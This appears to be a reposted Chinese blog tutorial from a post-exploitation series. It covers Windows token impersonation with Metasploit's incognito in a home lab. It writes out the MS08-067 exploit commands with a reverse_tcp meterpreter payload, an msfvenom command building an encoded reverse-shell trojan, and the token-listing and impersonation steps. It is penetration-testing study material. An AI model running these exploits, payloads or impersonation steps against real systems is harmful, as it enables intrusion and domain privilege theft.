后渗透(八)令牌假冒简介与Windows域搭建

0x00:令牌假冒简介

假冒令牌可以假冒一个网络中的另一个用户进行各种操作。令牌包括登录会话的安全信息,如用户身份识别、用户组和用户权限。当一个用户登录Windows系统时,他被给定一个访问令牌作为他认证会话的一部分。例如:一个入侵用户可能需要以域管理员处理一个特定任务,当他使用令牌便可假冒域管理员进行工作。

 0x01:windows域搭建

 xxx

0x02:准备

kali linux   192.168.109.148

windows XP   192.168.109.130   cmftest cmf123   /  ddgwinxp   winxp123,

windows server 2008 r2   192.168.109.151  

假设kali已经获取到了windows xp的session

kali可通过ms08_067获取win xp session,具体步骤

>search ms08_067
>use exploit/windows/smb/ms08_067_netapi
>set rhost 192.168.109.130
>set payload windows/meterpreter/reverse_tcp
>set lhost 192.168.109.148
>exploit

 由于系统版本问题?没有成功获得session

 

 网上找到的解决办法:

4、网上查到可以卸载ms08_067的补丁,即卸载KB958644,文件路径:c:/windows找到KB958644(这是个隐藏文件),打开卸载exe程序,如下:

5、重启后,还是不能成功,最后找了一个英文版的win xp sp 3 ,才成功完成。

这里我就不想重新下载新的虚拟机了,太耗时间,直接用 后渗透(一)的方法,生成一个木马(木马重新换了个地址,其他一样),利用木马生成session了

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.109.148 LPORT=4444 -b"x00" -e x86/shikata_ga_nai -f exe > msfddg_x86_148.exe

 

0x03:令牌假冒以及针对域环境的渗透

Windows安全相关概念

  session

  Windows Station

  Desktop

  Login Session :不同的账号登录产生不同的登录Session,代表不同的账号权限,规定不同的权限

 每个session(终端)可能会有多个Login Session ,不同的账号分配不同的权限

 Tokens简介

(1)与进程相关联,进程创建时根据LoginSession分配对应Token,含有该进程用户账号、组信息、权限信息等

(2)用户每次登录,产生LoginSession分配对应Token

(3)访问资源时提交Token进行身份验证,类似于Web Cookie

(4)Delegate Token:交互登录会话

(5)Impersonate Token :非交互登录会话

 Incognito( n. 虚假身份  adj. 伪装的,隐姓埋名的  adv. 隐瞒身份地,化名地 )

一个独立的软件,被集成到msf的meterpreter中

不用获取账号密码窃取token将自己伪装成合法用户

适用于域环境下提权渗透多操作系统(获得域管理员权限)

测试

已经获取了win XP的session

meterpreter > load incognito 
Loading extension incognito...Success.
meterpreter > 

meterpreter > list_tokens -h    //帮助命令
Usage: list_tokens <list_order_option>

Lists all accessible tokens and their privilege level

OPTIONS:

-g List tokens by unique groupname
-u List tokens by unique username

meterpreter > list_tokens -u   //获取用户Token
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available    //交互登录Token
========================================
DDGddgwinxp

Impersonation Tokens Available   //非交互登录会话Token
========================================
No tokens available

meterpreter >
meterpreter > list_tokens -g   //查看组的Token
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
BUILTINUsers
DDGDomain Users
NT AUTHORITYAuthenticated Users
NT AUTHORITYINTERACTIVE

Impersonation Tokens Available
========================================
No tokens available

这边在Windows XP 访问 win server 2008 r2 的共享文件夹,随便打开一个文件

这时候在 执行 list_tokens -u  或者 list_tokens -g

非交互登录会话那里应该多出来一个 Token的啊 ,这里我没有成功(代码都是抄的怎么会错呢.jpg)

如果这里出现了一个新的非交互登录Token,可利用impersonate_token 进行令牌假冒

meterpreter > impersonate_token
Usage: impersonate_token <token>

Instructs the meterpreter thread to impersonate the specified token. All other actions will then be made in the context of that token.

Hint: Double backslash DOMAIN\name (meterpreter quirk)
Hint: Enclose with quotation marks if name contains a space

meterpreter > impersonate_token 非交互Token名 注意用双斜杠

类似于这样

 可添加用户,这里是在 XP里添加的用户?????

execute -t 貌似可能会用到

meterpreter > execute 
Usage: execute -f file [options]
Executes a command on the remote machine.

OPTIONS:

    -H        Create the process hidden from view.
    -a <opt>  The arguments to pass to the command.
    -c        Channelized I/O (required for interaction).
    -d <opt>  The 'dummy' executable to launch when using -m.
    -f <opt>  The executable command to run.
    -h        Help menu.
    -i        Interact with the process after creating it.
    -k        Execute process on the meterpreters current desktop
    -m        Execute from memory.
    -s <opt>  Execute process in a given session as the session user
    -t        Execute process with currently impersonated thread token
meterpreter > 

这个教程域渗透部分讲的不全,就算讲完了也算是皮毛

域渗透还有很多内容

未完待续........ 

原文地址:https://www.cnblogs.com/liqik/p/13085061.html